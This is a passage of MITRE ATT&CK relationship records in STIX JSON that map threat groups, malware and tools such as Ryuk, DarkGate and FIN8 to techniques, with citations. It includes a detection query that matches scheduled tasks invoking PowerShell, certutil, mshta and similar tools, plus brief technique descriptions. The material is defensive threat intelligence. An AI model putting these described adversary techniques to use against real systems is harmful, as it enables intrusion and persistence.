"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}, {"source_name": "DFIR Ryuk in 5 Hours October 2020", "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.", "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"}, {"source_name": "DFIR Ryuk's Return October 2020", "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", "url": "https://thedfirreport.com/2020/10/08/ryuks-return/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.669Z", "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fcf2c47e-f487-450e-9bd9-be54110b9e32", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TechNet Forum Scheduled Task Operational Setting", "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:25:11.972Z", "description": "Monitor for newly constructed scheduled jobs by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered; Event ID 4698 on Windows 10, Server 2016 - Scheduled task created;\nEvent ID 4700 on Windows 10, Server 2016 - Scheduled task enabled;\nEvent ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nNote: Detection of the creation or modification of Scheduled Tasks with a suspicious script, extension or user writable path. Attackers may create or modify Scheduled Tasks for the persistent execution of malicious code. This detection focuses at the same time on EventIDs 4688 and 1 with process creation (SCHTASKS) and EventID 4698, 4702 for Scheduled Task creation/modification event log.\n\nAnalytic 1 - New schedule tasks whose content includes suspicious scripts, extensions or user writable path\n\n<code> (source=\"*WinEventLog:Security\" EventCode IN (4698, 4702)) | where\n(JobContent LIKE '%.cmd%' OR JobContent LIKE '%.ps1%' OR\n   JobContent LIKE '%.vbs%' OR JobContent LIKE '%.py%' OR\n   JobContent LIKE '%.js%' OR JobContent LIKE '%.exe%' OR\n   JobContent LIKE '%.bat%' OR JobContent LIKE '%javascript%' OR\n   JobContent LIKE '%powershell%' OR JobContent LIKE '%wmic%' OR\n   JobContent LIKE '%rundll32%' OR JobContent LIKE '%cmd%' OR\n   JobContent LIKE '%cscript%' OR JobContent LIKE '%wscript%' OR\n   JobContent LIKE '%regsvr32%' OR JobContent LIKE '%mshta%' OR\n   JobContent LIKE '%bitsadmin%' OR JobContent LIKE '%certutil%' OR\n   JobContent LIKE '%msiexec%' OR JobContent LIKE '%javaw%' OR\n   JobContent LIKE '%[%]APPDATA[%]%' OR JobContent LIKE '%\\\\AppData\\\\Roaming%' OR\n   JobContent LIKE '%[%]PUBLIC[%]%' OR JobContent LIKE '%C:\\\\Users\\\\Public%' OR\n   JobContent LIKE '%[%]ProgramData[%]%' OR JobContent LIKE '%C:\\\\ProgramData%' OR\n   JobContent LIKE '%[%]TEMP[%]%' OR JobContent LIKE '%\\\\AppData\\\\Local\\\\Temp%' OR\n   JobContent LIKE '%\\\\Windows\\\\PLA\\\\System%' OR JobContent LIKE '%\\\\tasks%' OR\n   JobContent LIKE '%\\\\Registration\\\\CRMLog%' OR JobContent LIKE '%\\\\FxsTmp%' OR\n   JobContent LIKE '%\\\\spool\\\\drivers\\\\color%' OR JobContent LIKE '%\\\\tracing%')</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fcfa67b5-03dc-4d92-bc34-0f483d48bc6a", "type": "relationship", "created": "2020-01-31T12:39:19.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-31T12:39:19.056Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d", "type": "relationship", "created": "2017-05-31T21:33:27.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", "source_name": "FireEye Operation Double Tap"}], "modified": "2019-04-29T18:01:20.574Z", "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code> to verify that it is running with the elevated privileges of \u201cSystem.\u201d(Citation: FireEye Operation Double Tap)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fcfb5392-d5d3-451d-be1f-3cdb5ee264d8", "type": "relationship", "created": "2021-02-17T20:27:27.378Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM MegaCortex", "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}], "modified": "2021-03-31T18:53:16.760Z", "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can enable <code>SeDebugPrivilege</code> and adjust token privileges.(Citation: IBM MegaCortex)", "relationship_type": "uses", "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fcfe071b-e527-44e9-9970-9243a354f563", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Regin", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}], "modified": "2020-06-29T01:54:53.389Z", "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.(Citation: Kaspersky Regin)", "relationship_type": "uses", "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd074370-f9d4-43a1-bf1f-0afdb46ab28b", "type": "relationship", "created": "2019-04-23T16:12:37.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:49.025Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use <code>Get-PassPol</code> to enumerate the domain password policy.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd094102-e496-4dcf-bbf1-1630a762019d", "created": "2024-02-12T20:09:11.904Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T16:28:21.873Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) can masquerade as pirated media content for initial delivery to victims.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd0c41df-35a7-4593-996c-0f9bdd6f4749", "created": "2023-10-03T14:34:26.650Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. 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Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}], "modified": "2021-10-12T19:52:22.587Z", "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Empire](https://attack.mitre.org/software/S0363), and [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd507797-cc28-4271-9a4c-d1fbe726722b", "created": "2024-02-12T19:58:46.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:22:50.114Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) leverages process hollowing techniques to evade detection, such as decrypting the content of an encrypted PE file and injecting it into the process vbc.exe.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd518b7a-b35d-4689-89f6-525efbeee18f", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}], "modified": "2019-09-04T22:55:41.885Z", "description": "(Citation: Palo Alto OilRig Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd534cf2-9818-492b-9f11-6e5e7994d77b", "created": "2023-08-17T18:51:51.550Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T21:28:48.443Z", "description": "[QUIETEXIT](https://attack.mitre.org/software/S1084) has attempted to change its name to `cron` upon startup. During incident response, [QUIETEXIT](https://attack.mitre.org/software/S1084) samples have been identified that were renamed to blend in with other legitimate files.(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "relationship_type": "uses", "source_ref": "malware--4816d361-f82b-4a18-aa05-b215e7cf9200", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd6055a0-7db2-4135-a87f-156354c97f0b", "type": "relationship", "created": "2020-03-20T21:04:48.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT17", "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}, {"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}], "modified": "2020-03-20T21:04:48.879Z", "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has also obfuscated its C2 traffic as normal traffic to sites such as Github.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd68dcb1-686c-4e48-9b6c-26c98a4f43e5", "type": "relationship", "created": "2022-03-24T22:31:32.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T22:31:32.757Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can search for modifiable services that could be used for privilege escalation.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd6bd6fd-4a75-4094-ac67-bc14cb6b44bb", "type": "relationship", "created": "2020-12-11T15:57:08.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2021-04-19T20:31:56.469Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized malicious VBS scripts in malware.(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd6f5d49-889b-42df-b955-ddff0847f5bf", "created": "2024-03-26T19:29:34.700Z", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}, {"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}, {"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-26T19:29:34.700Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) impersonated legitimate IT personnel in phone calls and text messages either to direct victims to a credential harvesting site or getting victims to run commercial remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) utilized social engineering to compel IT help desk personnel to reset passwords and MFA tokens.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd763f17-409d-428b-825c-f731b0ad88cc", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"}, {"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}, {"source_name": "Bitdefender FIN8 July 2021", "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}, {"source_name": "Symantec FIN8 Jul 2023", "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-06T15:48:48.987Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads use WMI to launch malware and spawn `cmd.exe` execution. [FIN8](https://attack.mitre.org/groups/G0061) has also used WMIC and the [Impacket](https://attack.mitre.org/software/S0357) suite for lateral movement, as well as during and post compromise cleanup activities.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Symantec FIN8 Jul 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd78292b-d484-4d08-baa4-f6b58bb63622", "created": "2023-03-21T20:45:58.707Z", "revoked": false, "external_references": [{"source_name": "FireEye APT19", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-21T20:45:58.707Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate executed commands.(Citation: FireEye APT19)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd79762c-1718-4c6b-adaa-a9a004bcdbca", "type": "relationship", "created": "2021-10-13T15:35:20.813Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-10-13T15:35:20.813Z", "description": "[BoomBox](https://attack.mitre.org/software/S0635) can encrypt data using AES prior to exfiltration.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd7ca8e8-82fc-443d-945a-fcef3352ec8a", "type": "relationship", "created": "2020-02-11T18:47:46.705Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:47:46.705Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd8fa359-c13e-4641-9c3e-d03218daee0c", "type": "relationship", "created": "2020-05-26T20:37:19.548Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}, {"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T14:37:02.738Z", "description": "(Citation: CheckPoint Naikon May 2020)(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd93333d-ec77-4f0d-be90-64860d67bdf5", "type": "relationship", "created": "2020-07-17T19:22:28.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-08-18T13:13:31.950Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use winapiexec tool for indirect execution of  <code>ShellExecuteW</code> and <code>CreateProcessA</code>.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd9834dc-0323-408b-b217-3f3aa27b50ac", "type": "relationship", "created": "2020-10-13T22:33:14.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", "source_name": "FireEye APT17"}], "modified": "2020-10-13T22:33:14.133Z", "description": "[APT17](https://attack.mitre.org/groups/G0025) has created and 